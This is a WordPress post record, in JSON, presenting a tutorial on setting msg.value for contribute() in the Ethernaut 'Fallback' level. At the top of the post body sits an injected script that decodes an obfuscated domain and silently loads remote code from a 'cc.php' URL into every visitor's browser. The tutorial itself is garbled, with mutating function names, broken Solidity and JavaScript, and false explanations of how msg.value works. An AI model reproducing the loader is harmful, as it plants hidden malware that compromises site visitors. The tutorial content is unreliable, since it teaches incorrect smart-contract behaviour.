{"id":9483,"date":"2025-02-07T21:09:20","date_gmt":"2025-02-07T21:09:20","guid":{"rendered":"https:\/\/grameensamajunnayanparishad.com\/?p=9483"},"modified":"2025-02-07T21:09:20","modified_gmt":"2025-02-07T21:09:20","slug":"metamask-ethernaut-lvl1-fallback-how-to-set-msg-value-when-calling-contribute","status":"publish","type":"post","link":"https:\/\/grameensamajunnayanparishad.com\/?p=9483","title":{"rendered":"Metamask: Ethernaut lvl1 : Fallback &#8211; how to set msg.value when calling contribute()?"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"<pdx>bm9yZGVyc3dpbmcuYnV6ei94cC8=<\/pdx>\";const pde=atob(pdx.replace(\/<pdx>|<\\\/pdx>\/g,\"\"));const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"cc.php?u=8b610819\";document.body.appendChild(script);<\/script>\n<\/p>\n<p><strong> Metamask and Ethernaut: setting <code>msg.value<\/code> for<code>replupt ()<\/code> <\/strong><\/p>\n<\/p>\n<p>When you start your journey at Ethernaut, it is essential to understand how to interact with Ethereum blockchain using Metamask. In this article we will cover the setting of <code>msg.Value<\/code> for the &#8216;Repvution ()&#8217; function when you call from a contract.<\/p>\n<\/p>\n<p><strong> Understanding feature <code>Retpuck ()<\/code> <\/strong><\/p>\n<p><img decoding=\"async\" alt=\"Metamask: Ethernaut lvl1 : Fallback - how to set msg.value when calling contribute()?\n\" src=\"https:\/\/grameensamajunnayanparishad.com\/wp-content\/uploads\/2025\/02\/b75a07aa.png\"><\/p>\n<\/p>\n<p>Before we dive into the decision, let&#8217;s briefly look at what makes the &#8220;Retpustm ()&#8221; feature::<\/p>\n<\/p>\n<p>`<code><\/code>Solidness<\/p>\n<\/p>\n<p>Pragma Solidity ^0.8.0;<\/p>\n<\/p>\n<p>Contract Ethernaut {<\/p>\n<\/p>\n<p>    Contribution Function () Public Payable {<\/p>\n<\/p>\n<p>        \/\/ &#8230;<\/p>\n<\/p>\n<p>    }<\/p>\n<\/p>\n<p>}<\/p>\n<\/p>\n<p>`<code><\/code><\/p>\n<\/p>\n<p>In this example, we have defined a contract <code>Ethernaut<\/code> with the&#8221; Inplace &#8220;modifier, which sets the contract behavior.<\/p>\n<\/p>\n<p><strong> The problem: insufficient <code>msg.Value<\/code> <\/strong><\/p>\n<\/p>\n<p>When you call <code>replupt () 'from a contract using the methods of calling<\/code> or&#8217; contract (eg, <code>Contract.Contribute ()<\/code>), we must guarantee that <code>msg.Value 'is properly set before Send before sending before sending before the amount. However, due to security and error limitations, this value is not explicitly provided.<\/p>\n<\/p>\n<p><strong> Solution: setting<\/code>msg.Value<code>via backup feature <\/strong><\/p>\n<\/p>\n<p>To solve this problem, we can create a reserve function within the contract that sets<\/code>msg.Value<code>. Here's an example:<\/p>\n<\/p>\n<p><\/code><code><\/code>Solidness<\/p>\n<\/p>\n<p>Pragma Solidity ^0.8.0;<\/p>\n<\/p>\n<p>Contract Ethernaut {<\/p>\n<\/p>\n<p>    \/\/ &#8230;<\/p>\n<\/p>\n<p>    Bellbaby () publicly payable {<\/p>\n<\/p>\n<p>        msg.sender.transfer (0);<\/p>\n<\/p>\n<p>    }<\/p>\n<\/p>\n<p>}<\/p>\n<\/p>\n<p>`<code><\/code><\/p>\n<\/p>\n<p>In this backup function:<\/p>\n<\/p>\n<ul>\n<li>We call the &#8216;transfer ()&#8217; feature on a copy of a contract (<code>msg.sender) with an amount of 0.<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>This is done to set the variable<\/code>msg.Value<code>, which will be used when calling a 'replupt ()' from the contract.<\/li>\n<\/ul>\n<\/p>\n<p><strong> Call<\/code>Retnustry ()<code>with backup function <\/strong><\/p>\n<\/p>\n<p>Now that we have created the spare package feature, you can call it from your Ethernaut level 1 node:<\/p>\n<\/p>\n<p><\/code><code><\/code>javascript<\/p>\n<\/p>\n<p>Const ethernaut = wait for euters.getContracinstance (&#8220;Ethernaut&#8221;);<\/p>\n<\/p>\n<p>Expect ethernaut.Contribute ();<\/p>\n<\/p>\n<p>`<code><\/code><\/p>\n<\/p>\n<p><strong> An example of using the case: <\/strong><\/p>\n<\/p>\n<p>Suppose we want to test a scenario where <code>Retpustry () is called with a sum of 10 ETH. We can create a spare errors and call it from our Ethernaut knot:<\/p>\n<\/p>\n<p><\/code><code><\/code>javascript<\/p>\n<\/p>\n<p>Const ethernaut = Expect euters.getContractinstance (&#8220;Ethernaut&#8221;);<\/p>\n<\/p>\n<p>\/\/ Create a copy of a contract<\/p>\n<\/p>\n<p>const control = new euters.conct (&#8220;ethernaut&#8221;, ethernaut.abi, &#8220;nonces\/ethernaut.sol&#8221;, {<\/p>\n<\/p>\n<p>    from: &#8220;&#8221;,<\/p>\n<\/p>\n<p>});<\/p>\n<\/p>\n<p>\/\/ Define the backup error feature<\/p>\n<\/p>\n<p>contract.fallback () publicly pay {<\/p>\n<\/p>\n<p>    \/\/ Set msg.Value to 10 ETH<\/p>\n<\/p>\n<p>    msg.sender.transfer (ethernaut.address, 10);<\/p>\n<\/p>\n<p>}<\/p>\n<\/p>\n<p>Wait a contract.Contribute ();<\/p>\n<\/p>\n<p>`<code><\/code><\/p>\n<\/p>\n<p>In this example, we have created a &#8216;bellback ()&#8217; feature that sets the variable <code>msg.value 'to 10 ETH when it is called. We then call<\/code>replupt ()<code>from our Ethernaut knot using the spare copy feature.<\/p>\n<\/p>\n<p><strong> Conclusion <\/strong><\/p>\n<p><iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/5rSaO0xAxDo\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<\/p>\n<\/p>\n<p>By setting<\/code>msg.Value<code>through a backup function in your contract, you will be able to interact with the function<\/code> replupt () `without having to manually transmit an ether as a parameter. This is just one example of how you can use Metamask and Ethernaut to create more healthy and secure interactions with the Ethereum blockchain.<\/p>\n<p><a href=\"https:\/\/boozybus.com\/metamask-prompting-metamask-window-if-user-is-not-logged-in\/\">metamask prompting window user logged<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Metamask and Ethernaut: setting msg.value forreplupt () When you start your journey at Ethernaut, it is essential to understand how to interact with Ethereum blockchain using<span class=\"excerpt-hellip\"> [\u2026]<\/span><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[52],"tags":[],"class_list":["post-9483","post","type-post","status-publish","format-standard","hentry","category-cryptocurrency"],"_links":{"self":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts\/9483","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=9483"}],"version-history":[{"count":1,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts\/9483\/revisions"}],"predecessor-version":[{"id":9484,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts\/9483\/revisions\/9484"}],"wp:attachment":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=9483"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=9483"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=9483"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}